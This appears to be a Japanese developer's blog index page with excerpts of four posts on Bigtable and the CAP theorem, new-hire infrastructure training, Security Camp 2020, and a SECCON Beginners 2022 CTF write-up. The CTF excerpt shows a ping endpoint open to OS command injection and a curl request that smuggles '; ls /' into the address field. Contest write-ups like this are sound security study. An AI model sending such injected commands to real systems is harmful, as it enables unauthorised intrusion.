Bigtableについて調べたメモ

Bigtable について調査していたときに書いたメモです。 CAP 定理 整合性(Consistency)・可用性(Availability)・分断耐性(Partition Tolerance) の 3 つのうち、同時に 2 つしか満たせないことを明らかにした定理。証明も発表されているらしい。 整合性(Consistency) いかなる読み出しに対しても最新の値を返す 整合性を保つ単位を原子オブジェクトと呼ぶ。 分散データベースは原子オブジェクトの範囲内で整合性をもたせる 可用性(Availability) いかなる時刻に到達したクエリでも実行可能 ある更新クエリが実行されている間、他のクエリを待たせた場合は、可用性が失われている 分断耐性(Partition Tolerance) ノード間の通信が遮断されていてもデータベースとして動作可能 RDB は CA 型のデータベース。分散データベースの場合、分断耐性が必須となるため、CP 型か AP 型の 2 択となる。 read 重視 (いかなる時でも最新の値を取得したい) なら CP 型、write 重視 (絶対にカートに入れる操作を成功させたい)なら AP 型? CP 型の DB CP 型の DB では一つの原子オブジェクトに対して一つのマスターノードを割り当てる。これによって整合性を担保できるが、そのマスターノードがダウンすると、マスターノードが管理していた原子オブジェクトは更新不可 (=可用性が失われる) となる 具体例 BigTable HBase MongoDB AP 型の DB AP 型の DB では全てのノードがあらゆる原子オブジェクトのクエリを受け付ける。そのため、いかなる時でもクエリが実行できる。一方で分断時に 2 つのノードで同一の原子オブジェクトの更新が行われた場合は、データの不整合が生じる。そのため後で不整合を修復する必要がある...

July 8, 2022 · ebakazu

SECCON Begginers 2022 writeup

SECCON Begginers 2022 に会社の同期と greenapple として出場しました。Web を全巻できなかったのが悔しい… web Util ctf4b networks 社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも…? (注意) SECCON Beginners 運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。 commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" 提供されているソースコードを見てみると、上記のように OS command Injection が可能であることがわかる。 if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) 入力内容のチェック自体はクライアントのみで行われていたので、curl で送信すれば良さそう。 curl 'https://util.quals.beginners.seccon.jp/util/ping' -X POST -H 'Content-Type: application/json' -d '{"address": "0.0.0.0; ls /"}' # {"result":"PING 0.0.0.0 (0.0.0.0): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.150 ms\n\n--- 0.0.0.0 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0....

June 6, 2022 · ebakazu

全体研修のチーム開発研修でインフラ環境を構築した

1 年半ぶりの投稿です。4 月に新卒エンジニアとして CyberAgent に入社した ebakazu です。 今回は CyberAgent の全体研修の一つであるチーム開発研修について、私が取り組んだこと (AWS を使ったインフラ構築) について書いていきたいと思います。 全体研修について まず最初に、入社後の 3 日間で全職種合同の研修がありました。 その後、エンジニア向けの研修が始まり、セキュリティやインフラ (AWS) に関する講義や、目標設計の講義を受けました。 講義パートが終わってからはチーム開発研修が行われました。 この研修では 4 月末までの約 2 週間半の期間で SNS アプリを開発するというお題が与えられ、各チームで開発に取り組みました。 私はインフラ兼バックエンド担当として開発に関わりました。 構成 今回開発したアプリケーションのバックエンドは Kubernetes クラスタ上で動作しています。 これらの構成は基本的に terraform で管理されており、ALB のみ AWS Load Balancer Controller で管理しています。 各技術要素について Kubernetes アプリケーションは EKS on EC2 によって構成された Kubernetes クラスタ上で動作しています。 このクラスタではアプリケーションの実行だけでなく、ALB (AWS Load Balancer) や CD ツールの管理も行っています。 terraform 今まで AWS CDK という構成管理ツールや手組みでゼロからインフラ環境を構築した経験はあったのですが、terraform は使用経験がありませんでした。 今回新しいチャレンジとして terraform によるインフラ環境のプロビジョニングを試してみました。 やってみた感想として、AWS から様々なモジュールが提供されているため terraform のキャッチアップにさえ成功すれば、プロビジョニング自体はやりやすいのかなと思いました。 またすべての構成がコード化されているため、エディタ上でインフラ構成を確認・編集できる点も良いと思いました。 今後の課題としては terraform のモジュール化などの全体のファイル管理に関するベストプラクティスが分かっておらず、これから勉強していきたい部分だなと思っています。...

June 2, 2022 · ebakazu

セキュリティ・キャンプ全国大会2020 オンラインに参加した

先日、セキュリティ・キャンプ全国大会に参加しました。この記事では、受講した講義・参加したゼミについて紹介しようと思います。 セキュリティ・キャンプとは 詳細は下のリンク先を見てください。 セキュリティ・キャンプ全国大会2020 オンライン ホーム セキュリティ・キャンプ協議会のページ (2019年度以前の開催実績とかはこっち) 僕はプロダクトセキュリティトラックと OS 開発ゼミに参加しました。 [B1, B2, B5] Real World Security 一般公開向けの講義動画が Youtube で公開されているようです。 B1 の講義動画 B2 の講義動画 B5 の講義動画 内容は講義を受けつつ、グループディスカッションをするというものでした。 全体的に、今ある技術が実社会でどのように使われているのか・問題点は無いかといったことをずっと考えていました。 アプリケーションを作るときには各ステークホルダーの視点に立ち、そのアプリケーションがどのように使われるのかを意識しないといけないなと思いました。 また、技術の発展や時代の流れに合わせて求められるセキュリティが変わる可能性がある気づきも得ることができました。 [B3] クラウド時代における分散Webシステムの構成とスケーリング 2つ事前課題がありました 去年度の坪内さんの講義 (録音とPDF) を聴く 事前に用意されていたアプリケーションを Azure 上にデプロイする 2 の詳細については講師の方の講義スライドが参考になると思います。 1 の坪内さんの講義は情報量が半端なく、詳細はお伝えできないのですが、Web システムのスケール手法が一通り解説されていました。 いつかここで紹介されている手法を実践できるだけの実力を持てるようになりたい…! 講義はハッカソンがメインでした。事前課題で用意したアプリケーションを基に Web システムのユースケースを考えて、信頼性の高いシステムを設計・実装するということをやっていました。 Cosmos DB のような今まで扱ったことの無いデータストアをどうすれば効率的に使えるかを、チームの人たちとずっと議論していました。 アプリの実装や定量化できる指標を決めて計測などができれば良かったのですが、設計の話し合いで講義時間を使い果たしてしまいました。 構想から実装に落とし込める力があればもっと色々できたのだろうと思います。 [B4] つくって学ぶ、インターネットのアーキテクチャと運用 DNS や BGP について実際に手を動かしながら受講するハンズオン形式の講義でした。 偽の DNS 応答や偽の経路情報の広告をネットワーク上に流したときの挙動を確認するなどしました。 経路情報のやり取りとDNSは信頼性の担保という意味合いで密接に関わっているということをハンズオンを通して知ることができました。 また、講義中では Youtube で偽の経路情報が流されたことが原因のインシデントや、偽の経路情報だと疑われる情報が現在も大量に流れているという説明がありました。 インターネットは想像以上に性善説で成り立っているなと思いました。...

December 30, 2020 · ebakazu